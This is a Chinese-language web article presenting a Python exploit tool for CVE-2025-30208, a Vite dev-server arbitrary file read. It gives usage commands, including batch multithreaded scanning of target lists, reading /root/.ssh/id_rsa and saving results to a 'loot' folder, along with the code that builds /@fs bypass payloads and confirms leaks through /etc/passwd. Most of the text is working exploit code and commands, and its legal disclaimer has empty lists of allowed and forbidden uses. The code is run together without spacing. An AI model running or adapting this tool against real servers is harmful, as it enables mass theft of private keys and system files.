从零构建漏洞挖掘实战能力:Web安全工程化框架与CNVD提交指南
2026/6/25 22:54:45
本项目是一个针对CVE-2025-30208 Vite开发服务器任意文件读取漏洞的自动化安全工具。该漏洞存在于Vite的@fs模块中,攻击者可以通过特制的查询字符串绕过访问限制,读取任意文件。本工具提供了完整的漏洞验证和利用功能,支持多线程批量扫描、自定义payload路径和代理设置。
/@fs路径并规范化查询字符串# 安装必要的Python依赖pipinstallrequests urllib3# 或者从requirements.txt安装(如提供)pipinstall-r requirements.txt单目标漏洞验证:
python3 cve-2025-30208.py -u example.com:5173指定自定义文件路径:
python3 cve-2025-30208.py -u example.com:5173 -p'/root/.ssh/id_rsa'批量扫描目标列表:
python3 cve-2025-30208.py -f targets.txt使用自定义绕过查询:
python3 cve-2025-30208.py -u example.com:5173 -b"?raw&url"配置代理(如Burp Suite):
python3 cve-2025-30208.py -u example.com:5173 --proxy http://127.0.0.1:8080自定义输出目录:
python3 cve-2025-30208.py -u example.com:5173 -o ./loot增加线程数提升扫描速度:
python3 cve-2025-30208.py -f targets.txt -t50| 参数 | 简写 | 说明 | 示例 |
|---|---|---|---|
--url | -u | 单个目标URL | example.com:5173 |
--file | -f | 目标列表文件 | targets.txt |
--path | -p | 自定义文件路径 | /etc/passwd |
--bypass | -b | 绕过查询字符串 | ?raw&url |
--proxy | --proxy | 代理服务器地址 | http://127.0.0.1:8080 |
--output | -o | 输出目录 | ./results |
--threads | -t | 线程数 | 20 |
批量扫描时,输入文件应每行包含一个目标URL:
target1.com:5173 192.168.1.100:3000 vulnerable-app.local:8080成功利用的结果将保存为文本文件,文件名基于目标URL进行安全化处理,文件内容包含:
[SUCCESS] http://target.com:5173/@fs/etc/passwd?raw?? 文件内容...defverify_vuln(base_url,bypass_query,proxy=None):"""Try known OS files to verify if @fs LFI is exploitable."""candidates=LINUX_PATHS+WINDOWS_PATHSforpath,indicatorincandidates:# 构建完整的漏洞利用URLpayload=build_payload_path(path,bypass_query)full_url=urljoin(base_url,payload)# 发送HTTP请求response=fetch_url(full_url,proxy)# 检查响应是否包含预期的敏感信息ifhasattr(response,'text')andindicatorinresponse.text:print(f"[+] VULNERABLE:{base_url}")print(f"[+] Leaked:{path}")print(f"[+] Indicator found:{indicator}")returnTrue,path,response.textprint(f"[-] NOT VULNERABLE:{base_url}")returnFalse,None,Nonedefbuild_payload_path(fs_path,bypass_query):"""Construct the /@fs path for LFI."""# 确保文件路径以斜杠开头fs_path=fs_path.strip()ifnotfs_path.startswith("/"):fs_path="/"+fs_path# 规范化查询字符串(确保以单个?开头)query=normalize_bypass_query(bypass_query)# 构建最终的漏洞利用路径returnf"/@fs{fs_path}{query}"defnormalize_bypass_query(query:str)->str:"""Ensure the query string starts with a single '?'."""# 移除所有开头的问号query=query.lstrip('?')# 添加单个问号return'?'+querydefbatch_exploit(targets_file,bypass_query,proxy=None,output_dir="results",thread_count=20):"""Process multiple targets concurrently."""# 读取目标列表withopen(targets_file,'r')asf:targets=[line.strip()forlineinfifline.strip()]print(f"[*] Loaded{len(targets)}targets from{targets_file}")print(f"[*] Using{thread_count}threads")# 创建线程池withconcurrent.futures.ThreadPoolExecutor(max_workers=thread_count)asexecutor:# 提交所有任务future_to_target={executor.submit(exploit_single,target,bypass_query,proxy,output_dir):targetfortargetintargets}# 处理完成的任务forfutureinconcurrent.futures.as_completed(future_to_target):target=future_to_target[future]try:result=future.result()ifresult:print(f"[+] Success:{target}")exceptExceptionase:print(f"[!] Error processing{target}:{e}")defsanitize_filename(text):"""Sanitize string to be used as filename."""# 将非字母数字字符替换为下划线safe=re.sub(r'[^\w\-]','_',text)# 合并连续的下划线safe=re.sub(r'_+','_',safe)# 去除首尾的下划线returnsafe.strip('_')deflog_result(content,url,output_dir):"""Write exploitation result to a file."""# 生成安全的文件名filename=sanitize_filename(url)# 确保输出目录存在os.makedirs(output_dir,exist_ok=True)# 写入结果文件filepath=os.path.join(output_dir,f"{filename}.txt")withopen(filepath,"w")asf:f.write(f"[SUCCESS]{url}\n")f.write(content)print(f"[+] Saved to{filepath}")⚠️ 法律与道德声明
本工具仅用于授权的安全测试、教育和研究目的。未经明确书面授权,使用此工具攻击任何系统是非法行为。
允许的使用场景:
禁止的使用场景:
使用者需对自身行为负全部法律责任。开发者和贡献者不对任何滥用行为负责。
@fs模块?raw??等格式绕过路径限制工具通过构造特定的URL路径(如/@fs/etc/passwd?raw??)向目标Vite开发服务器发送请求,通过检查响应内容是否包含预期敏感信息(如root:/bin/bash)来判断漏洞存在性。